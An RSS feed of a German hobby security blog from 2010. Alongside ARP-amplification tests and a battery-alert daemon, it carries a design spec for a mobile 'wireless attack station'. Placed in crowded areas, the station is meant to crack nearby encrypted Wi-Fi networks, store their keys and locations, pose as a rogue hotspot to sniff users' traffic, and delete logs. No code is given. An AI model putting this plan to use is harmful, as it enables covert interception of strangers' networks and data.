<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Proof-Of-Concept</title>
	<atom:link href="http://writemecas.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://writemecas.wordpress.com</link>
	<description>...ehm sry - is this the internet?</description>
	<lastBuildDate>Mon, 10 Oct 2011 13:23:06 +0000</lastBuildDate>
	<language>de</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='writemecas.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Proof-Of-Concept</title>
		<link>http://writemecas.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://writemecas.wordpress.com/osd.xml" title="Proof-Of-Concept" />
	<atom:link rel='hub' href='http://writemecas.wordpress.com/?pushpress=hub'/>
		<item>
		<title>ARP Amplification Scenario Testfiles</title>
		<link>http://writemecas.wordpress.com/2010/03/23/arp-amplification-scenario-testfiles/</link>
		<comments>http://writemecas.wordpress.com/2010/03/23/arp-amplification-scenario-testfiles/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 16:07:39 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=151</guid>
		<description><![CDATA[As you may have read a few post under here i did a test on arp amplification &#8211; now you can download my testfiles and analyze them on your own. There are captures, notes (german), created arp packets and so on&#8230; You may download the file from here (210MB): LINK<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=151&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>As you may have read a few post under here i did a test on arp amplification &#8211; now you can download my testfiles and analyze them on your own. There are captures, notes (german), created arp packets and so on&#8230;</p>
<p>You may download the file from here (210MB): <a href="http://ul.to/up6cgg">LINK</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/151/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/151/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/151/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=151&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2010/03/23/arp-amplification-scenario-testfiles/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>iMWAS: Erstes Video zum Mailversand</title>
		<link>http://writemecas.wordpress.com/2010/03/13/imwas-erstes-video-zum-mailversand/</link>
		<comments>http://writemecas.wordpress.com/2010/03/13/imwas-erstes-video-zum-mailversand/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 13:21:27 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[iMWAS]]></category>
		<category><![CDATA[mailversand]]></category>
		<category><![CDATA[MWAS]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=149</guid>
		<description><![CDATA[Nachdem Akkucheckd nun endlich wie gewünscht Funktioniert habe ich ein erstes kleines Video zum Mailversand nach unterschreiten der Mindestrestkapazität gemacht. Ein detaillierteres Video zum Schleifenrythmus und dem logischem Interval folgt noch. Leider gibts das File im Moment nur als .ogv, habe gerade recht wenig Zeit. Hier der Downloadlink bei Rapidshare:  http://rapidshare.com/files/362804356/out.ogv.html<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=149&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Nachdem Akkucheckd nun endlich wie gewünscht Funktioniert habe ich ein erstes kleines Video zum Mailversand nach unterschreiten der Mindestrestkapazität gemacht. Ein detaillierteres Video zum Schleifenrythmus und dem logischem Interval folgt noch. Leider gibts das File im Moment nur als .ogv, habe gerade recht wenig Zeit.</p>
<p>Hier der Downloadlink bei Rapidshare:  <a title="DOWNLOAD" href="http://rapidshare.com/files/362804356/out.ogv.html" target="_blank">http://rapidshare.com/files/362804356/out.ogv.html</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/149/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=149&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2010/03/13/imwas-erstes-video-zum-mailversand/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>iMWAS: akkucheckd</title>
		<link>http://writemecas.wordpress.com/2010/03/10/imwas-akkucheckd/</link>
		<comments>http://writemecas.wordpress.com/2010/03/10/imwas-akkucheckd/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 09:35:42 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[iMWAS]]></category>
		<category><![CDATA[MWAS]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wifu]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=136</guid>
		<description><![CDATA[Nach einem langen Tag &#8211; und einer noch längeren Nacht &#8211; habe ich mich dazu entschlossen den akkucheck,  der ursprünglich als Patch für acpi gedacht war,  als eigenständigen Daemon zu schreiben. akkucheckd liest die acpi-state-datei und extrahiert die Restkapazität in mAh. Unterschreitet diese einen definierten Wert wird eine eMail an den Kontakt gesendet. Dieser Prozess [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=136&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Nach einem langen Tag &#8211; und einer noch längeren Nacht &#8211; habe ich mich dazu entschlossen den akkucheck,  der ursprünglich als Patch für acpi gedacht war,  als eigenständigen Daemon zu schreiben. <em>akkucheckd </em>liest die acpi-state-datei und extrahiert die Restkapazität in mAh. Unterschreitet diese einen definierten Wert wird eine eMail an den Kontakt gesendet. Dieser Prozess wiederholt sich in einem definierten Interval.</p>
<p>Die drei in der Config anpassbaren Werte:</p>
<ol>
<li>Minimum Restkapazität</li>
<li>eMail Adresse Kontakt</li>
<li>Interval</li>
</ol>
<p>Der Daemon wird über die Daemontools gestartet und überwacht.</p>
<p><strong>**UPDATE**</strong></p>
<p>Der Daemon ist nun bis auf das Beenden durch die daemontools fertig. Ein kleines Video wird folgen.</p>
<p><strong>** UPDATE 2**</strong></p>
<p>Im Moment wird eine kleine Änderung durchgeführt: Überwacht wird der Prozess jetzt durch Monit, nichtmehr durch daemontools (supervise). Grund dafür ist die größere Flexibilität und einfachere Struktur von Monit.</p>
<p>Außerdem wird nun das Interval dynamisch angepasst &#8211; bedeutet im Klartext:</p>
<p style="text-align:left;"><em>Wenn: (aktuelle Restkapazität &gt; (minimale Restkapazität+200)) dann erhöhe den Intervalwert</em></p>
<p style="text-align:left;"><em>=&gt; Die Restkapazität wird weniger oft überprüft da sie eh noch recht hoch ist</em></p>
<p style="text-align:left;">
<p style="text-align:left;"><em>Wenn: (aktuelle Restkapazität &lt; (minimale Restkapazität+200)) dann vermindere den Intervalwert</em></p>
<p style="text-align:left;"><em>=&gt; Die Restkapazität wird öfter geprüft da die kritische Grenze bald erreicht ist</em></p>
<p style="text-align:left;">
<p style="text-align:left;">Wie versprochen wird noch ein Video folgen.</p>
<p style="text-align:center;">
<p style="text-align:center;">
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/136/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=136&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2010/03/10/imwas-akkucheckd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>Überlegungen zu MWAS</title>
		<link>http://writemecas.wordpress.com/2010/03/08/uberlegungen-zu-mwas/</link>
		<comments>http://writemecas.wordpress.com/2010/03/08/uberlegungen-zu-mwas/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 14:41:08 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[iMWAS]]></category>
		<category><![CDATA[MWAS]]></category>
		<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[Überlegungen]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=132</guid>
		<description><![CDATA[Airolib-ng kann als Datenbank genutzt werden, muss aber erweitert werden da es sich nur um eine &#8222;Lite-DB&#8220; handelt Manche Funktionen können als Daemon geschrieben werden (z.b. Akkulaufzeit überwachen) Prozesse (und damit auch unser Programm + Daemons) können mit den Daemon-Tools überwacht werden Zugrifsschutz über SecurID / Security Token Verschlüsselung der Kommunikation &#8211; auch eMail! (SSL?) [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=132&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<ul>
<li>Airolib-ng kann als Datenbank genutzt werden, muss aber erweitert werden da es sich nur um eine &#8222;Lite-DB&#8220; handelt</li>
<li>Manche Funktionen können als Daemon geschrieben werden (z.b. Akkulaufzeit überwachen)</li>
<li>Prozesse (und damit auch unser Programm + Daemons) können mit den Daemon-Tools überwacht werden</li>
<li>Zugrifsschutz über SecurID / Security Token</li>
<li>Verschlüsselung der Kommunikation &#8211; auch eMail! (SSL?)</li>
<li>Webinterface</li>
<li>Automatische Übergabe bei genügend IVs/Daten an Cracking-Server</li>
<li>Wichtig: Entscheidung zwischen Korek ChopChop und Fragmentation anhand von Tests!</li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/132/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=132&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2010/03/08/uberlegungen-zu-mwas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>ARP Amplification Test</title>
		<link>http://writemecas.wordpress.com/2010/03/07/arp-amplification-test/</link>
		<comments>http://writemecas.wordpress.com/2010/03/07/arp-amplification-test/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 14:38:57 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[arp amplification]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=125</guid>
		<description><![CDATA[Der Rahmen Im Rahmen einiger WLAN-Test bin ich auf die Methode der ARP-Amplification gestoßen. Im Grunde beschreibt sie das generieren von mehr als einem IV (Initialization Vector) durch aussenden eines bestimmten ARP Pakets. Bisher konnte ein maximum von 3 IVs pro Arp-Request erreicht werden. Die Idee Ein ARP-Request ist im Grunde eine gut verständliche Anfrage: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=125&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><code><strong>Der Rahmen</strong></code></p>
<p>Im Rahmen einiger WLAN-Test bin ich auf die Methode der ARP-Amplification gestoßen.</p>
<p>Im Grunde beschreibt sie das generieren von mehr als einem IV (Initialization Vector) durch aussenden eines bestimmten ARP Pakets. Bisher konnte ein maximum von 3 IVs pro Arp-Request erreicht werden.</p>
<p><code><strong>Die Idee</strong></code><br />
Ein ARP-Request ist im Grunde eine gut verständliche Anfrage:</p>
<blockquote><p>Who has 192.168.1.12 tell 192.168.1.14</p></blockquote>
<p>Übersetzt: Wer hat 192.168.1.12, sag es 192.168.1.14. Die zuletzt genannte Adresse ist in diesem Fall die Adresse des anfragenden Computers.</p>
<p>Der Auslöser: <em>&#8222;An <em>ARP response</em> is sent directly to the host that issued the request&#8220;</em></p>
<p>Die Idee war nun die Adresse des anfragenden Computers auf die Broadcastadresse des Netzwerks zu ändern sodass alle die Antwort erhalten und somit mehr IVs erzeugt werden.</p>
<p><code><strong>Das Ergebnis</strong></code></p>
<p>Die Anzahl an Paketen pro Sekunde verändert sich nicht nennenswert (in meinem Test mit insgesamt 3 Clients und 1 AP (2x Linux, 1x XP, 1x Linksys WRT45gl) kam ich auf ca. 1000Pakete/s.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/125/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=125&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2010/03/07/arp-amplification-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>MWAS &#8211; WLAN Insecurity Proof of Concept</title>
		<link>http://writemecas.wordpress.com/2010/03/03/mwas-wlan-insecurity-proof-of-concept/</link>
		<comments>http://writemecas.wordpress.com/2010/03/03/mwas-wlan-insecurity-proof-of-concept/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 17:01:47 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[SPECIAL]]></category>
		<category><![CDATA[automated penetration testing]]></category>
		<category><![CDATA[iMWAS]]></category>
		<category><![CDATA[MWAS]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=119</guid>
		<description><![CDATA[Dieser Blog heisst &#8222;Proof of Concept&#8220; &#8211; Beweiß eines Konzepts. Und genau diesem werden wir uns nun widmen. Ich stelle euch nun das nächste große Projekt vor: Ein automatisches Wifi Penetration Testing System. MWAS &#8211; Mobile Wireless Attack Station &#62;&#62; Hardware MWAS bildet unsere Hardwarebasis. Wir unterscheiden in 2 Kategorien &#8211; dem Testaufbau und unserer [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=119&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Dieser Blog heisst &#8222;Proof of Concept&#8220; &#8211; Beweiß eines Konzepts. Und genau diesem werden wir uns nun widmen. Ich stelle euch nun das nächste große Projekt vor: Ein automatisches Wifi Penetration Testing System.</p>
<p><strong>MWAS &#8211; Mobile Wireless Attack Station </strong></p>
<p>&gt;&gt; Hardware</p>
<p>MWAS bildet unsere Hardwarebasis. Wir unterscheiden in 2 Kategorien &#8211; dem Testaufbau und unserer Finalen Hardware.</p>
<p><strong>iMWAS &#8211; Intelligent Mobile Wireless Attack Station</strong></p>
<p>iMWAS ist die Software die zu unserem Zweck programmierte Software. Hier ist anzumerken das unsere Software nicht alle Arbeit übernimmt sondern geschickt mit verschiedenen anderen Programmen (z.B. Aircrack-Suite) interagiert.</p>
<p>Wer will kann sich das ganze &#8222;RFC&#8220; durchlesen:</p>
<p>MWAS &#8211; Mobile Wireless Attack Station</p>
<p>Ziel:<br />
Aufbau einer in sich mobilen Station die die unten aufgeführen<br />
Funktionen selbstständig ausführen kann.<br />
&gt; Klasse: Automatisches Penetration Testing System<br />
&gt;&gt; Bestehend aus Soft- und Hardware<br />
&gt;&gt;&gt; Das System ist für den Außenbetrieb konzipiert<br />
Einsatzgebiet: Ort mit hoher Bevölkerungsdichte</p>
<p>Funktionen:<br />
- Erkennung von Wireless-Lan-Netzwerken und deren Verschlüsselung<br />
- Penetrieren (Sammeln von IVs) von verschlüsselten Netzwerken<br />
- Speicherung der lokalisierten Netzwerken anhand der ESSID,<br />
BSSID, Signalstärke, Netzwerkschlüssel und geografischen<br />
Position in einer MySQL Datenbank<br />
- Ständiger Remote-Zugriff durch UMTS-Verbindung auf einen<br />
lokalen SSH-Server<br />
- Versand von Statusmeldungen via Email<br />
- Dateiverwaltung von Capture-, xor- und Sonstigen Dateien<br />
- Sniffing in offenen Netzwerken<br />
- Überwachung der verschiedenen &#8222;lebenserhaltenden&#8220; Funktionen<br />
(Akku, Dienste, &#8230;)<br />
- AP Modus &#8211; System bietet sich als AP an und stellt eine<br />
Verbindung über den UMTS Stick her. Dannach kann das System<br />
sniffen<br />
- Panic Mode: Alarmnachricht bei vorher nicht angegündigter<br />
Positionsänderung<br />
- Löschen von Logfiles (Access-Logs, &#8230;)<br />
- Verschlüsselung der Daten<br />
- Zugrifsschutz für Unberechtigte</p>
<p>&gt;&gt; WICHTIG: Umstellung des Systems &#8211; das System speichert<br />
nur die Dateien, gecrackt wird auf einem<br />
externen Server<br />
&lt;&gt; Trotzdem wird ein Schlüssel für gecrackte Netze<br />
in der Datenbank behalten, damit das System<br />
einem Netz beitreten kann um dort zu sniffen</p>
<p>Umsetzung durch Multithreading:<br />
Da eine vielzahl von Funktionen simultan und stetig ausgeführt<br />
werden müssen kommt Multithreading zum Einsatz.</p>
<p>Hierfür werden die Funktionen in 5 Klassen eingeteilt:<br />
1.) Wireless Modul<br />
2.) Server Modul<br />
3.) Health Modul<br />
4.) Remote Connection Modul<br />
5.) Localization Modul</p>
<p>Die Klassen sind wiederrum Teil der 3 Komponenten:<br />
1.) Wireless Component { Wireless Modul }<br />
2.) Server Component { Server Modul; Health Modul; Localization Modul }<br />
3.) Remote Component { Remote Connection Modul }</p>
<p>Hardwareanforderungen:<br />
- CPU muss Multithreading unterstützen<br />
- Wireless-Lan-Adapter muss &#8222;Promiscious Mode&#8220; unterstützen<br />
- Genügend Festplattenspeicher (geschätzer Wert: 20GB)<br />
- Ausreichend Arbeitsspeicher (geschätzer Wert: min. 512MB)<br />
- Verstärkerantenne mit ausreichend Sendeleistung<br />
- Möglichst klein und mobil<br />
- Lange Akkulaufzeit<br />
- Sparsamer Energieverbrauch</p>
<p>Basisablauf:<br />
1.) Das System wird ausgesetzt und beginnt eine Netzverbindung<br />
herzustellen<br />
2.) Das System sendet seine IP-Adresse an eine im Config-File<br />
beschriebene Email-Adresse<br />
3.) Der Client greift auf den durch das System automatisch<br />
gestarteten SSH-Dienst zu und prüft ob iMWAS gestartet wurde<br />
(Mobile Wireless Attack Station i-Software)<br />
4.) iMWAS beginnt die Suche nach Netzwerken und speichert diese<br />
in der Datenbank<br />
5.) iMWAS beginnt mit dem Sammeln der Daten durch airodump-ng<br />
5a.) Erreicht das .cap-File eine entsprechende Größe oder wird<br />
die Festplatte zu voll wird das Sammmeln abgebrochen und eine<br />
Email an den im Config-File definierten Clienten geschickt<br />
6.) Gibt es ein offenes Netz mit verbundenen Clients verbindet<br />
iMWAS sich mit dem Netzwerk und fängt an zu sniffen<br />
7.) Werden keine Netze gefunden geht iMWAS in einen AP-Modus und<br />
bietet sich als Internetzugang via UMTS an. iMWAS snifft dann<br />
die Daten der verbundenen VICs</p>
<p>Erwartungen an MWAS:<br />
1.) Robust<br />
2.) Klein<br />
3.) Hohe Reichweite<br />
4.) Stromsparend<br />
5.) Wasserfest</p>
<p>Erwartungen an iMWAS:<br />
1.) Stabil<br />
2.) Effizient<br />
3.) Zuverlässig<br />
4.) Zugrifsschutz für Unberechtigte</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Ressourcenplanung:<br />
1.) Hardware:<br />
Für den Testaufbau ist eine Zeitspanne von 1 Monate angesetzt,<br />
vorrausgesetzt die benötigte Hardware ist vorhanden.</p>
<p>Für den (Um-)Bau der finalen Hardware werden 2 Monate angesetzt.<br />
Das System soll in einem flexiblen, aber auch robusten<br />
Material eingebaut werden. Vorgabe: Keine</p>
<p>2.) Software:<br />
Für die Entwicklung der Software werden folgende Zeitspannen<br />
angesetzt: &lt;1MT = 2 Stunden&gt;<br />
a.) Wireless Modul: 30MT<br />
b.) Server Modul: 10 MT<br />
c.) Health Modul: 10 MT<br />
d.) Remote Connection Modul: 20 MT<br />
e.) Localization Modul: 20 MT<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Total:        90MT</p>
<p>3.) Testphase:<br />
Es werden 5 Testläufe unter Realbedingungen durchgeführt.<br />
Sollten dannach Funktionen existieren die nicht in den Test-<br />
läufen aufgerufen wurden werden die Tests verlängert.</p>
<p>Zu evaluierende Faktoren:<br />
- Laufzeit: Sollwert: min. 8h<br />
- Stromverbrauch: Sollwert: unter 20W<br />
- Festplattenplatz: Sollwert: Ausreichend für das sniffen über<br />
die volle Akkulaufzeit<br />
- Signalabdeckung: Sollwert: Radius von min. 500m</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Projektkosten:<br />
- Für den Testaufbau wird mit reinen Materialkosten von ca. 650 gerechnet<br />
- Für den Bau der finalen Hardware wird mit zusätzlichen Kosten von<br />
ca. 300 gerechnet<br />
- Geschätze Betriebsskosten pro Monat: ca. 40<br />
&gt; Strom<br />
&gt; UMTS Stick</p>
<p>Einhaltung der Projekteffizienz:<br />
Um das System so performant wie möglich zu machen muss iMWAS mit der höchst<br />
möglichen Effizienz mit den Systemkomponenten zusammenarbeiten.</p>
<p>Ideen:<br />
1.) Setzen/Verwenden von Systemvariablen<br />
2.) &#8222;Logische&#8220; zeitliche Intervalle in der Ausführung von Funktionen<br />
Bsp.: Ist der verbrauchte Festplattenplatz seit dem letzten Check<br />
